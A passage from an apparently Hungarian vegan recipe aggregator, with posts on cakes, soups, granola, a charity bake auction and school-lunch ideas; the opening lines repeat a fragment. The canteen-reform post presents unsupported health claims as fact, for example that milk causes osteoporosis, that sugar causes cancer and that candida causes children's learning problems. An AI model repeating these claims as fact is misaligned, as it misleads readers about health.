rá 3 evőkanál paradicsomos ragut,tésztabesamell 1/3-a.paradicsomos ragu feletésztabesamell 1/3-aparadicsomos ragu feletésztabesamell 1/3-a.Előmelegített sütőben süsd úgy 30 percig. Előmelegített sütőben süssük úgy 30 percig. Ekkor reszelhetünk rá sajtot (de nyugodtan el is hagyhatod), és még toljuk vissza a sütőbe, hogy megpiruljon a teteje. Mielőtt felvágjuk, hagyjuk egy kicsit hűlni.
Fahéjas-karamellás almatorta (vegán)
2015. szeptember 25. VegaNinja
Hozzávalók: 26 cm átmérőjű formához 1 kg alma 180 g fehér liszt 70 g teljes kiőrlésű liszt 150 g nádcukor 100 g kókuszolaj 150 ml növényi tej 1 kávéskanál őrölt fahéj fél zacskó sütőpor fél mokkáskanálnyi só 1. Alaposan keverd el a liszteket, a sütőport, a sót, és 100 g cukrot egy tálban. 2. […]
Reform, zabpelyhes zöldborsófőzelék
2015. szeptember 24. Éltető ételek
Ki ne emlékezne a menzai zöldborsó főzelékre? Én igen... egyébként nem sok minden változott ezen a téren, még mindig tejes, lisztes, melyben csak mutatóban van borsó. Nos, ez a borsófőzelék, egy tömény élvezet. Egyrészt saját magával sűrítem, másrészt - a komplettálást is figyelelembe véve - zabpehelyliszt is kerül bele. Nincs semmi gond a lisztes sűrítéssel, ha az nem BL55-ös lisztből készül. Babák is nyugodtan kaphatják, de a fokhagymát még kihagynám belőle. Főzd meg, szedd ki a gyerkőc adagját, majd reszeld a sajátotokba a fokhagymát... ennyi. Hozzávalók (3-4 adag) - 1 kg zöldborsó (friss vagy fagyasztott) - 3 gerezd fokhagyma - 3 evőkanál zabpehely vagy zabpehelyliszt - kb. 1 dl rizs- vagy zabtej - só, bors - 1 mokkáskanál szárított lestyán - 2 mokkáskanál szárított petrezselyem (persze, ha van friss, az a legjobb!) - leheletnyi friss citromlé - 1 evőkanál kókuszolaj Elkészítése: - A kókuszolajat olvasszuk fel, majd adjuk hozzá a borsót. Süssük együtt úgy 10 percig. Figyeljünk arra, hogy le ne ragadjon. - Öntsük fel annyi vízzel, hogy ellepje. - Fűszerezzük sóval, borssal. - Amikor már majdnem puha a borsó, vegyük ki úgy 1/3-át, a lével együtt. Adjuk ehhez a kivett borsóhoz a zabpelyhet, a fokhagymát, és turmixoljuk össze. - Ezt a pürét és a növényi tejet keverjük vissza a főzelékhez. Főzzük úgy 5 percig, hogy a zabpehelytől besűrűsödjön. - Ekkor már a zöldfűszereket is hozzá adhatjuk. - Csavarjunk bele egy pici citromlevet. Kóstold meg, ha kell, még sózd meg.
Mogyorós-csokis nyers kókusztorta
Elkészítettem a nyáriasított változatot, amibe sok gyümölcsöt is csempésztem ;) Hozzávalók az alaphoz: 1 csésze áztatott szotyi 1 csésze pirított kerek szemű mogyoró (kertből) 1/2 csésze zabpehely 3 karika cukkini 1 alma 2 körte 2 ek méz 1 leheletnyi tiszta só 1 kk vanília 2 ek kakaópor 1 ek kakaóvaj 1 ek kókuszolaj Vajat, olajat […]
Zöldbabos kulajda (vegán)
2015. szeptember 21. VegaNinja
Hozzávalók (4 személyre) Hozzávalók: 1 doboz laskagomba kb. 1×3 centis csíkokra vágva 1 doboz újhagyma 5 dl szójatej 6 db közepes krumpli felkockázva fél csomag zöldbab (darabolva, ha túl nagy) 2 dl rizstejszín 1 evőkanál kukoricakeményítő babérlevél, só, bors, kapor 3 evőkanál kókuszolaj 2 evőkanál fehérborecet egy pici cukor Az újhagymát felkarikázzuk, és a kókuszolajon egy […]
Nyers csokoládétorta + Segítsüti 2015. ősz
2015. szeptember 21. Zizi kalandjai
Újra indul az őszi Segítsüti jótékony akciója. A Segítsüti története 2009-ben indult, az első, gasztrobloggerek civil összefogásával született jótékonysági süteményárveréssel. Mostanra kinőtte magát, így évente kétszer kerül már megszervezésre, tavasszal és ősszel. A mostani, 13. alkalommal a Segítsüti a Mosoly Alapítványt, és rajtuk keresztül a beteg és lelki traumát átélt gyermekek gyógyulását támogatjuk.
Röviden a részletek...
1) Kik? Ismét 30 gasztroblogger anyuka/apuka készül 30 édességgel, az akció adminisztrációját - beszerzések, pénzügyi elszámolás - pedig szokás szerint a Sose Közhasznú Alapítvány intézi.
2) Mikor? A sütilicit 2015. szeptember 21-én, hétfőn indul, azaz ma fognak megjelenni a sütis bejegyzések az egyes blogokon, és kerülnek fel majd egyidejűleg a licitálós menü alá. Ezután kezdődhet rájuk rögtön a licitálás, amely három napon át zajlik és 2015. szeptember 24-én, csütörtökön 16:00-kor zárul.
3) Kit támogatunk? A befolyt támogatási összegből most a Mosoly Alapítványt, és rajtuk keresztül a beteg és lelki traumát átélt gyermekek gyógyulását támogatjuk. Az alapítvány ingyenes mese- és művészetterápiákkal kezeli, enyhíti a gyerekek testi betegségével járó pszichés problémáit.
4) Hogyan? Minden tepsi sütemény kikiáltási ára továbbra is 1.000 forint lesz. A liciteket a Sütiárverés menüpont alatt lehet majd megtenni, ehhez pedig egy egyszerű regisztráció (név, e-mail cím) szükséges. A nyertes az lesz, aki a legmagasabb összeget ajánlja adott süteményért szeptember 24-én 16:00-ig.
Az idén a már slágernek számító nyers csokoládétortával készülök. Jellemezhetném azzal, hogy ez a torta az egészséges bűnbeesés. Nyers, vegán, ráadásul a legcsokisabb élmény! Ha leszámítjuk a benne lévő 100 gramm kókuszvirág cukrot, csak egészséges, tápláló, vitaminokban, ásványi anyagokban gazdag alapanyagokból áll (mandula, datolya, avokádó, nyers kakaópor, vanília). Aki megteheti, licitáljon a nyers csokitortámra, mert a nyertes licitáló nagyon jól fog járni ezzel a finom sütivel! Fontos infó a nyertes számára, hogy a torta személyesen vehető majd át Budapesten. Hajrá licitálók!
Nyers csokoládétorta
Hozzávalók egy 18,5 cm-es csatos formához:
Torta alaphoz:
- 100 g mandula
- 70 g datolya, kimagozva
- 1/2 teáskanál tengeri vagy Himalája só
Krémhez:
- 2 érett nagy avokádó
- 70 g nyers kakaópor (helyettesíthető normál cukrozatlan kakaóporral)
- 50 g extra szűz kókuszolaj
- 100 g kókuszvirág cukor (helyettesíthető - lehetőleg nyers - nádcukorral)
- 1 vaníliarúd kikapart magjai
- csipet tengeri vagy Himalája só
Ha van időnk, áztassuk be a mandulát hideg vízbe legalább 6 órára, majd szűrjük le. Az áztatás felszabadítja a mandulában lévő enzimgátlókat, így könnyebb megemészteni. Ha nincs időnk, akkor tegyük egyből a robotgépbe a mandulát, és daráljuk meg. Adjuk hozzá a kimagozott datolyákat és a sót. Dolgoztassuk a gépet addig, amíg a torta alapunk összeáll tésztává. Ha nagyon száraznak érezzük, adjunk hozzá 1-2 teáskanál kókuszolajat.
A tortaformát béleljük ki folpackkal és nyomkodjuk az aljába a datolyás mandulás keveréket, majd tegyük a mélyhűtőbe megkeményedni, amíg elkészítjük a krémet. Tegyünk minden hozzávalót a robotgépre és pürésítsük krémesre. Vegyük ki a formát, kanalazzuk az alapra a krémet és tegyük vissza a mélyhűtőbe 1 órára. Ha türelmetlenek vagyunk, már 45 perc után kivehetjük.
Gyógyító miso leves (vegán)
2015. szeptember 19. Zizi kalandjai
Most az őszi, hűvösebb, nyirkosabb szezon indultával (eltekintve az elmúlt napok meleg időjárásától) beindul a megfázások, köhögések időszaka is. Mi is éppen köhögő fázisban vagyunk, az egész család… más bajunk nincs, csak köhögünk, de ezt már kb. egy hete. Lassan gyógyulunk jó sok vitaminnal, gyógyteával, népi gyógymóddal és jókedvvel. Na meg persze, ha van időm odafigyelni rá, akkor étellel is gyógyítjuk magunkat. Hiszem, hogy az ételek gyógyítanak, ha odafigyelünk rá, hogy mit készítünk, mi mire jó, mit mivel keverünk. Sokan teszik rendbe az egészségüket megfelelő táplálkozással.
Ennél a levesnél a jótékony hatást a zöldségeken kívül a miso és a gyömbér adja. A miso* fermentált alapanyag… és hogy mit érdemes tudni a fermentációról, meg a misoról? Hát ezt: a fermentáció olyan kémiai folyamat, amelyben enzim hatására szerves anyag bomlik le. Az erjesztést baktériumok, élesztő- és penészgombák végzik, azaz gyakorlatilag előre megemésztik az ételt: lebontják a szénhidrátokat, zsírokat és fehérjéket, és olyan mikroflórát, azaz jótékony baktériumokat hoznak létre, amelyek segítik az emésztőrendszer működését, valamint megóvnak a kórokozóktól és más parazitáktól. A fermentálás egy olyan tartósítási forma, ami káros adalékok hozzáadása nélkül történik, és mivel nem éri az ételt sem túl magas, sem túl alacsony hő, így a benne lévő vitaminok és enzimek is jelen lesznek a végtermékben. A miso többnyire szójababból készült, erjesztett sós ízű pép. Alapanyaga lehet még rizs, árpa és állítólag csicseriborsó is (én még ilyet nem kóstoltam). A mison kívül fermentált ételek még: a savanyúság, a tempeh, a kefír és a kimcsi – koreia csípős-fűszeres savanyúság – ezekből érdemes minél többet fogyasztanunk a hideg időszakban. (Még többet a fermentálásról: itt, itt és itt.)
A gyömbérről pedig ódákat lehetne zengeni… antioxidáns hatású, erősíti az immunrendszert, megfázás, légúti fertőzések idején hozzájárul a kórokozók legyőzéséhez, gyulladáscsökkentő. Fokozza az étvágyat és segíti az emésztést, csökkenti a vérnyomást és a vér koleszterinszintjét… és még sorolhatnánk.
A lényeg, a lényeg… próbáljátok ki a miso levest!
* Miso nagyobb szupermarketekben, ázsiai üzletekben, online webáruházakban már beszerezhető!
Gyógyító miso leves (vegán)
(Recept inspiráció: Oh Dear Drea)
Hozzávalók:
– 1 db közepes póréhagyma, felkarikázva
– 1 db közepes cukkini, felkockázva
– 2 db közepes répa, felszeletelve
– 300 g tofu, felesleges víz kipréselve belőle és 1*1 cm-es kockákra vágva
– 150 g soba vagy rizstészta
– 1 nagy marék spenót
– 1 kis marék szárított alga, csíkokra vágva (opcionális, plusz jó ízt ad a levesnek; ha nincsen, kihagyható)
– 5-8 evőkanál miso (ízlés kérdése, hogy mennyire legyen intenzív ízű a leves)
– 1 evőkanál frissen reszelt gyömbér (én legközelebb 2 evőkanállal tennék bele… ízlés kérdése, próbáljátok ki nektek, mennyivel ízlik)
– 6-8 bögre zöldség alaplé vagy víz
– 3 evőkanál kókuszolaj
– csipet só
Egy közepes lábasban kókuszolajon dinszteljük meg a póréhagymát közepes láng felett. Adjuk hozzá a répát és főzzük 5 percig, majd jöhet a cukkini, újabb 5 perc főzés és ízesíthetjük is a levest a csipet sóval és a frissen reszelt gyömbérrel. Öntsük hozzá az alaplevet (vagy vizet) és forraljuk fel.
Közben egy másik lábasban forraljunk vizet a tésztának és a csomagoláson olvasható utasítás szerint főzzük meg, majd szűrjük le. Én meglocsoltam egy kevés pirított szezámolajjal, ez isteni plusz ízt ad a tésztának és nem ragad össze tálalásig.
Ha a leves felforrt, adjuk hozzá a tofut, a spenótot és az algát, főzzük még 2-3 percig. Zárjuk el alatta a gázt és adjuk hozzá a misot. Jól keverjük el, hogy a miso feloldódjon a levesben.
Tegyünk a tálkákba a megfőtt tésztából és erre szedjük rá a forró levest! Azonnal fogyasszuk!
"Koca köri"
2015. szeptember 16. Kertkonyha
A blogon jellemzően hazai és európai ízek szerepelnek, de ez most azon kevés alkalmak egyike, amikor kivételt teszek. A malacot pedig máshol keressék, hús nem kell ide, az már biztos! :)
Készítettem hát, egy kis indiai curry-t, de kimaradt belőle a kókusztej, alóla pedig a rizs. Jöjjön egy kis koca indiai főzés (itt a malac!), kifejezetten a konyhámra szabva, de az a finom illat azért benne van, ami a kedvenc indiaim előtt szokta megcsapni az orromat.
De mi is az a curry? Korábban bajban voltam ezzel. Most az egy fűszer? Akkor miért szerepel az étlapon? Mire rájöttem, hogy olyan, mint a paprikás, vagyis egy bizonyos fűszerrel készült és bizonyos fajta étel... Szóval, a curry a vele készült ragut jelzi, amiben nem is egy, de rögtön ötféle alapfűszer is van, sőt, ezeket további 13-féle fűszerrel gazdagítanak a felhasználás céljától függően. Tudniillik a curry egy fűszerkeverék. Az meg egy másik történet, hogy a curry-t Indiában nem is nagyon használják, mert az első curryport valójában az angoloknak keverték ki szárított fűszerekből, hogy hazatérve is élvezni tudják azokat az ízeket, amiket a gyarmaton frissen zúznak, kevernek, és adnak az ételhez.
Hozzávalók 2-3 adaghoz:
[...] Bővebben!
Pikáns répatorta
2015. szeptember 12. Éltető ételek
Furcsán hangzik, de érdemes kipróbálni. Gyerkőcök szülinapi tortája is lehet, melyre csokis datolyakrém, vagy akár kókuszkrémes gesztenyekrém is kerülhet. Hozzávalók: - 25 dkg reszelt sárgarépa - 10 dkg mazsola - 4,5 dl víz (narancslé is kerülhet bele) - 10 dkg kókuszvirágcukor - 8 dkg kókuszzsír - 1 teáskanál őrölt fahéj - 1 kávéskanál mézeskalács fűszerkeverék - 1 kávéskanál vaníliapor - 4-5 csepp narancsolaj - csipet gyömbér Ezeket serpenyőbe kezdjük el melegíteni, főzzük 5 percig lassú tűzön. Az edényt vegyük le a tűzről, hagyjuk hűlni. Adjunk hozzá: - 25 dkg teljes kiőrlésű tönkölylisztet - 2 evőkanál őrölt arany lenmagot - 1 csomag sütőport - 1/2 teáskanál himalája sót - 10 dkg durvára tört diót. Előmelegített (180 fok) sütőben 35-40 perc alatt süssük meg. Hagyjuk teljesen kihűlni.
Mega banános granola (vegán)
2015. szeptember 10. Zizi kalandjai
Mega banános granola, mert elég nagy adag készült belőle! Már régóta csinálni akartam granolát, mert vágytam rá, de a 30-32 fokos lakásban nem volt kedvem bekapcsolni a sütőt, így váratott magára múlt péntekig. Érdemes megcsinálni ekkora adagot, mert dobozban, üvegben tartva eláll sokáig és biztosítjuk magunknak hosszútávra a reggelit (tehetjük növényi tejekbe, joghurtokba, szórhatjuk smoothie tetejére) vagy éppen a nassolni valót, mert ezt bizony nasiként is lehet fogyasztani.
Került bele minden, amit itthon találtam. A recept ötlete, a banános verzió tőlük van. Plusz édesítésre még juharszirupot használtam, de mivel nagy mennyiség készült belőle, így a három banán és a hozzáadott juharszirup éppen csak megédesítik a granolát, egyáltalán nem lesz annyira édes, mint mondjuk a boltokban kapható változat. Tényleg pikk-pakk összedobható, gyorsan meg is sül, szóval fél órát érdemes rászánnunk, hogy ne az agyon cukrozott verziót együk, hanem a sajátunkat. Mellesleg kiváló ajándék is lehet majd karácsonyra… mentsétek el a receptet!
Még több granola recept itt!
Mega banános granola (vegán)
Hozzávalók:
– 3 bögre zabpehely
– 1 bögre tökmag
– 1 bögre napraforgómag
– 1 bögre mandula, durvára aprítva
– 1/2 bögre dió, durvára aprítva
– 1/4 bögre paradió, durvára aprítva
– 2 evőkanál szezámmag
– 2 evőkanál chia mag
– 2 evőkanál hántolt kendermag vagy lenmag
– 3 banán, meghámozva, villával pépesre törve
– 4 evőkanál juharszirup
– 4 evőkanál kókuszolaj, olvasztva
– 1 teáskanál fahéj
– 1/2 teáskanál őrölt vanília vagy 1 vaníliarúd kikapart magjai
– 1/2 teáskanál só
Melegítsük elő a sütőt 175 fokra. Egy nagy tepsit béleljünk ki sütőpapírral.
Egy tálban keverjük össze a száraz alapanyagokat: zabpehely, tökmag, napraforgómag, mandulva, dió, paradió, szezámmag, chia mag, szezámmag, hántolt kendermag/lenmag, fahéj, vanília és só. Egy másik tálban keverjük össze a pépesre tört banánt a juharsziruppal és a kókuszolajjal, majd keverjük össze. Ezt a nedves keveréket adjuk a szárazhoz és jól keverjük el, hogy a banán, juharszirup és kókuszolaj mindenhol befedjék (érintsék) a magokat. Borítsuk rá a tepsire és kanállal egyengessük el, hogy mindenhova egyformán jusson. Süssük kb. 10-12 percig, keverjük át, majd süssük újabb 10 percig, amíg aranybarna lesz (ellenőrizzük folyamatosan, mert sütő függő, hogy milyen hamar lesz kész).
Üvegben/dobozban tartva hetekig eláll. Bár nem fog addig tartani, ezt garantálom!
"Bűnöző" muffin
2015. szeptember 8. Kertkonyha
Mert van, hogy kell az édes, és kell a csoki, és kell a kókusz, és kell az a kis bűnözés. Pont ekkor jön jól egy duplacsokis, kókuszos álom négy lépésben.
Hozzávalók kb. 40 db kis muffinhoz:
[...] Bővebben!
“Nutellás” datolya golyó (vegán)
2015. szeptember 7. Zizi kalandjai
Hello Szeptember? Hogy hogy már itt vagy? Végre hűlnek a nappalok és az éjszakák is… éljen! Két hónap szünet után van kedvem bekapcsolni újra a sütőt. Sőt, péntek este be is kapcsoltam, egy isteni granola készült! Jövök majd a recepttel!
Újra óvoda, iskola, munkahely… kezdünk visszarázódni a hétköznapokba. Jól jön ilyenkor a délutáni nassoláshoz valami energiát adó édesség a csokiszelet, a csokikocka, a bolti keksz helyett. Együnk inkább banánt, almát, körtét, szilvát vagy otthon készített kekszet, banánkenyeret vagy ilyen datolya golyót. Ez attól “Nutellás”, hogy egy nagy adag pirított törökmogyoró került bele, meg jó sok kakaópor. A datolya édesíti és ragasztja össze, krémesebbé pedig a mandulavaj teszi (ezt ki lehet váltani natúr törökmogyoró krémmel, de akár kesudióvajjal vagy földimogyoróvajjal is). Ha nyers kakaóport használunk és nem pirítjuk meg a mogyorót, akkor a golyók nyersek lesznek! Nassoljatok!
“Nutellás” datolya golyó (vegán)
Hozzávalók:
– 1 és 3/4 bögre törökmogyoró
– kb. 25-27 db friss datolya golyó, kimagozva (mérettől és ízléstől függ a darabszám; ha nem találtok frisset jó az aszalt is, csak figyeljetek a minőségre!)
– 5 evőkanál karob vagy (nyers) kakaópor (ha még csokisabb ízre vágytok, adhattok hozzá többet is)
– 1 evőkanál mandulavaj
– 1 evőkanál chia mag
– 4 teáskanál kókuszolaj (extra szűzzel még finomabb)
– 1/2 teáskanál só
Egy száraz serpenyőben 4-5 perc alatt pirítsuk meg a mogyorót.
Tegyük robotgépbe a mogyorót és daráljuk por állagúra. Ekkor adjuk hozzá a kimagozott datolyát és az összes többi alapanyagot. Addig dolgoztassuk a robotgépet, amíg a massza enyhén ragacsossá (kissé zsírossá a kókuszzsír miatt) válik (állítsuk le a gépet és ellenőrizzük az állagot).
Formázzunk golyókat a masszából. Zárt dobozban, hűvös helyen, hőtőben 10-12 napig eláll.
Káposztás tészta - másképp
2015. szeptember 3. Mindennapi ételeink
Nagyon szeretem a káposztás tésztát, de most elvileg nem szabadna szénhidrátot vagy olajban sült dolgokat ennem. Sajnos nyáron nem igazán tudtam tartani a diétámat, mert állandóan táborokban, vendégségben voltunk, de most, hogy itthon vagyunk, kezdek visszaállni (muszáj, mert nyáron rengeteget égett a gyomrom, ill. fájt, görcsölt a májam). Most ez a tészta barna rizsből készült, ill. kókuszzsírt használtam a káposzta pirításához, így nyugodtan én is fogyaszthattam. Hozzávalók: 1 közepes fej káposzta 1 fej vöröshagyma 4 ek. kókuszzsír 20 dkg King soba barnarizs tészta gyógynövényes himalaya só (só) Elkészítés: A káposztát kókuszzsírral meglocsolt edénybe tesszük és alaposan összepirítjuk. A tésztát eközben kifőzzük, leszűrjük és lecsöpögtetjük, majd beleforgatjuk a káposztába. A fűszersóval és sóval ízesítjük.
Menzareform helyett... tízórai és uzsonna ötletek avagy mit egyen a gyerekünk az iskolában?
2015. szeptember 1. Éltető ételek
Az előző részben megvizsgáltam azt, hogy miről is szól a szeptemberben élesben működő menzareform. Sok mindennel egyetértek, de több mindennel NEM. Nézzük sorjában... Ahogy én látom... Húsra egyáltalán nincs szükség - az előző részben írtam a Kína tanulmányról -, legalábbis ilyen mennyiségben és minőségben nem . Az Amerikai Dietetikus Társaság állásfoglalása szerint: "A vegetáriánus étrend egészséges és megfelelő tápértékű, megfelelő tervezés esetén." Tehát egy jól megtervezett lakto-ovo vegetáriánus - joghurtot, kefírt, tojást fogyasztó - táplálkozás, csecsemők, gyermekek és felnőttek számára is fedezi a szükséges tápanyagszükségletet. Sőt, sok esetben akár a vegán táplálkozás is megfelelő lehet, ha az teljes értékű és változatos. Oda kell figyelni az ételek megfelelő komplettálására, pl. csíráztatott hüvelyesek (főleg lencse, borsó, sárgaborsó, csicseriborsó) gabonákkal való társítása teljes értékű fehérjét biztosít. Valamint tartsuk azt is szem előtt, hogy a nagyüzemi tartású húsok antibiotikum és hormon tartalma nem igazán tartozik egy fejlődő szervezet szükségletei - felnőttekének sem - közé. A tejet magas hormontartalmának köszönhetően szintén nem javaslom emberi fogyasztásra . A legtöbb tejet és tejtermékeket Nagy-Britanniában, Svédországban, Finnországban és az Egyesült Államokban fogyasztják, és éppen ezekben az országokban a leggyakoribb a csontritkulás is. A tej kalciumtartalma a pasztörizálás során csökken, a hőre érzékeny enzimek elpusztulnak, melyek segítenék a maradék kalcium beépülését a csontokba. A tej kalcium-foszfor aránya nem megfelelő, valamint a tej savasodást idéz elő a szervezetben, amely semlegesítésére kalcium vonódik ki a csontokból. A hurutos megbetegedések során kifejezetten ellenjavallt a tej fogyasztása, mivel az a nyálka termelődését fokozza. Ezt ma már szerencsére sok gyermekorvos is tanácsolja. Érdemes legalább a téli hónapokban ezek fogyasztását csökkenteni. A rizzsel nincs semmi gond, ha teljes, barna rizst készítünk . Inkább rizst kínáljunk köretként, mint burgonyát. A hüvelyeseken teljesen meglepődtem. A téli hónapokban vajon miért csak 1-3 alkalommal lehet fogyasztani 10 nap leforgása alatt? Nyáron pedig csak 1x ehetünk? A hüvelyesek nagyon jó húspótlók, fehérje források, megfelelő komplettálással (pl. barna rizs) valamennyi esszenciális aminosavat biztosítjunk a szervezetünknek. A hüvelyesek között nagy vátozatosság van, a különféle száraz babok mellett lehet készíteni barna-, hegyi-, vöröslencsét; csicseriborsót, vagy akár zöld- és sárgahüvelyű babokat is. É des, cukros tejkészítményeket, mogyoró- és csokikrémeket egyáltalán nem javaslok . Természetesen el lehet készíteni ezeket egészséges formában, akkor nyugodtan kaphatja a gyermekünk akár hetente többször is. De tartok attól, hogy a menzákon kínált ilyen ételek nem az egészséges kategóriába tartoznak. Olajos magvakat viszont nyugodtan lehet fogyasztani, akár naponta is, úgy 1 maréknyit. Milyen érdekes, édesített tejkészítményeket többször engedélyez a rendelet, mint olajos magvakat... Kedvező omega3 forrás, melyek bátran fogyaszthatók napi rendszerességgel: mandula, lenmag, szezámmag, kesudió, törökmogyoró, fenyőmag, makadámdió . Bizonyos növényi olajok, magok (dió, tökmag, naprafogó, szőlőmag, mák) viszont magasabb ?6-ot tartalmaznak, így rendszeres, napi fogyasztásuk nem javasolt. De azért többször lehet enni ezeket, mint a rendeletben meghatározott 2hetente 1 alkalom. Örvendetes, hogy minden nap kell teljes kiőrlésű gabona alapú élelmiszert adni a gyerekeknek. Viszont én az előírt mindkét napi adagot ilyen gabonára cserélném. Valamint még tennék olyan szabályozást is, hogy 10 naponta legalább 3-4 nap gluténmentes legyen. Ilyenkor számos gluténmentes gabonát kínálhatunk a gyerekeknek: köles, hajdina, barna rizs, quinoa, amarant, zab, teff, kukorica. Tehát ne keményítővel teli gluténmentes lisztből készült péksüteményeket adjunk a gyerekünknek , mert az a szervezetnek egy cseppet sem jobb, mint a gluténos-cukros társai. Én egyáltalán nem vagyok híve a növényi eredetű margarinoknak . Ezek hidrogénezéssel lesznek kenhető állagúak. Igaz, hogy telítetlen zsírsavakat tartalmaznak, de nem természetesek. Akkor inkább használjunk olívaolajat vegyítve rendes vajjal. Vagy készíthetünk kenőkéket, pástétomokat, fűszervajakat. A bő zsíradékban sütés már valóban idejétmúlt, már sütőben is el lehet készíteni a (zöldség)fasírtokat és a rántott (zöldség)szeleteket. A finomított fehér krisztálycukrot teljes mértékben kitiltanám a közétkeztetésből. A modern cukorgyártás vadonatúj betegségeket hozott magával. A fogszuvasodás, a cukorbetegség, a rák, a kamaszkori pattanásos arcbőr, a koncentrálóképesség romlása mind a cukor fogyasztásának következményei. A legrosszabb az, hogy - csakúgy, mint az alkohol, a cigaretta, a kábítószer - a cukor iránt is függőség tud kialakulni, és a szervezetünk folyamatosan azt mondja: MÉG, MÉG, MÉG. Sajnos, ez a candida melegágya is. Nagyon sok gyereknél a tanulási nehézség, a magatartási zavar, a fejlődés megállása a candida gombának köszönhető. A teában megengedett maximum 10 gramm cukor 3 kockacukornak felel meg... és ez csak egy csésze tea. Természetesen szükség van az édesítésre, csak nem mindegy, hogy mivel. Lehetne mézzel (na nem a hőkezelt, t...s-s fajtára gondolok), hanem termelőire - ami tartalmazza azokat a vitaminokat és ásványi anyagokat, amik alapból benne vannak. Mi a megoldás? Én még így sem tartom megfelelőnek a közétkeztetést. Amennyiben van időnk és lehetőségünk - legalább a tízórait és az uzsonnát - mi magunk csomagoljunk a gyerekünknek. Nagyon fontos, hogy a gyerekünk minden esetben reggelizzen otthon . Ebben az esetben tízóraira elég 2-3 gyümölcs, vagy egy elkészített gyümölcssaláta pl. granolával megszórva. De diákcsemegét is készíthetünk, melybe aszalványok és olajos magok vannak. Amennyiben zöldséges a gyerkőc, akkor vághatunk fel falatnyi uborkát, paradicsomot vagy akár répát is. Ha nincs lehetőség otthoni reggelizésre, akkor annak megfelelően csomagoljunk, és még az első csengetés előtt egyen belőle. Attól függően, hogy a gyermekünk mikor kap ebédet az iskolában (a 6.-os lányom du. 2 órakor ebédelt), ahhoz igazítsuk a tízórai és az uzsonna mennyiségét. Sőt, azt is figyeljük, hogy lesz-e délutáni edzése, vagy különórája, mikor fog tudni vacsorázni. Mindenképp figyeljünk arra, hogy mennyire van meleg, valamint úgy csomagoljuk az ételeket, hogy azok délutánra se olvadjanak meg, ne essenek/törjenek össze és ne is savanyodjanak meg. Ötleteljünk egy kicsit... Nézzük csak meg, hogy milyen finomságok vannak a szendvicsen túl... Gyümölcsök és zöldségek A gyümölcs és a zöldség az, ami a lehető legegészségesebb étel, mindig kerüljön az uzsonnás dobozba! Napi legalább 6 adag (maroknyi) nyers gyümölcsöt és zöldséget kellene megenni gyermeknek és felnőttnek egyaránt. Csomagolhatjuk egészbe, de fel is szeletelhetjük/kockázhatjuk. Egy kis méretű csinos üvegbe rétegezve is tehetjük a kedvenc gyümölcseit/zöldségeit. Ezek folyékony állagban is kerülhetnek a táskába, smoothie-k formájában. De a zöld turmix is igazán finom és tápláló. Trüffelek, müzliszeletek, müzlik A trüffeleket roppant egyszerű elkészíteni, könnyen kezelhető kis falatkák. Lehet olajos mag, aszalvány kombó is, vagy különböző gabonakásákból is készíthetjük. A müzliszeleteket szintén lehet készíteni sütés nélkül is, vagy akár sütve. A gyerekek gyakran kapnak tízóraira csokis müzlit tejjel. Nos, ilyenkor csomagoljunk mi is egy adag müzlit vagy granolát és egy kis dobozos kókusz- vagy rizstejet. Ne felejtsük el ilyenkor a kanalat és a kis tálkát se. Teljes értékű édes kekszek, sütik, muffinok, piték Ezek nem olyan sütik, amiket a cukrászdában árulnak. Ezek teljes értékű alapanyagokból készülnek, rostban gazdagok, ugyanakkor nagyon finomak. A gyerekek imádják a bolti Jó reggelt és társai féle kekszeket. Nos, elkészíthetjük ezek egészséges alternatíváit. Teljes kiőrlésű gabona, egészséges édesítőszer és finomítatlan zsíradék az alapja ezen kekszeknek. Megtölthetjük nyers vagy házi lekvárokkal, nutellával vagy akár olvasztott nyers csoki is kerülhet rá. Muffinokat is gyakran készítek, gyorsan elkészülnek és könnyen csomagolhatók. A pitében pedig a gyümölcsök kedvünk szerint variálhatók. Télen az almás, körtés nyáron a szilvás és a barackos a sláger. Amerikai palacsinták, gofrik Ezeket a palacsintákat azért szeretem, mert kis méretűek, elég vastagak, és önmagukban is finomak. Persze azért tehetünk közé lekvárt vagy gyümölcsöket, de akár házi nutellával is finomak. A gofrinál is végtelen lehetőségek vannak. A könnyebb csomagolás miatt én olvasztott csokival kenem meg a tetejét, mely jól rádermed. Így, amikor a gyerekek uzsonnáznak, nem kenik össze magukat. Persze ne 30 fokos melegbe csomagoljunk ilyen csokival bevont finomságot! Édes péksütemények Nagyon gyakori étel az iskolában az ilyen édes péksütemény. Nagy kedvenc a kakaós- vagy éppen a nutellás csiga, a kalács vagy a lekváros bukta. Nos, van egy jó hírem, egészségesen is el lehet készíteni ezeket az ételeket. Sós finomságok A sok édes étel mellé bizony jól esnek a sós finomságok is. Ezek lehetnek jó sok zöldséggel töltött zsemlék, szendvicsek, pogácsák, vagy éppen pizzák. Mindegyik nagyon finom, és könnyen csomagolhatók. Számos receptet találsz a blogomon, de összeállítottam 40 egészséges tízórai és uzsonna ötletet (mely napokon belül elérhető lesz) , kivétel nélkül teljes értékű, finomított alapanyagoktól mentes. Ne felejtsd el! A gyereked egészségéért TE vagy a felelős! Viszont, ha van lehetőséged ebédet is csomagolni, ahhoz is segítséget tudok nyújtani a hamarosan megjelenő 20 csomagolható ebéd ötlettel. A tányéron túl... Az csak egy része az egészséges étkezésnek, hogy mi kerül a tányérra. Ugyanolyan fontos az is, hogy hogyan fogyasztjuk azt el. Nincs elég idő az étkezésre. Nyugodt környezetben, nem sietve, alapos rágással kellene elfogyasztani az ételt. 20 perces szünetben kezet mosni, kikérni az ebédet, megebédelni és a következő órára odaérni... nos, még egy felnőttnek is megadatik törvényileg a 30 perc. Tehát reform sajnos nemcsak az étkezésben kellene, hanem a nevelésben is.
Pálcikás szilvás-mogyorós jégkrém (nyers, vegán)
Végre visszatér megint a nyár némi időre, a legfőbb ideje, hogy elkészítsük idénygyümölcsünkből - szilvából - a következő finomságos jégkrémet. A mogyoró, szilva, csokoládé trió nekem nagyon bejön. Rétest már készítettem e három hozzávaló felhasználásával. Annyira finom volt, hogy hihetetlen gyorsan elfogyott. Most ugyanezeket az ízeket pálcikás jégkrémbe öntöttem. Az eredmény nem maradt el. Ropogós csokoládé és tört mogyoró remekül passzolt az enyhén édeskés, de tömény szilvás belsőhöz. Ajánlom minden édesszájúnak, vagy hideg ízekre vágyóknak.
A recept:
Hozzávalók:
- 2 bögre szilva
- 6-8 szem datolya
- mogyoró
- karob vagy kakaópor (vagy mindkettő fele-fele arányban)
- kókuszzsír (folyékony állapotban)
- kókuszvirág cukor vagy xylit vagy gyümölcscukor vagy datolyaszirup, stb.
- mogyoró
- alufólia
- jégkrémtartó tubusok
Elkészítés:
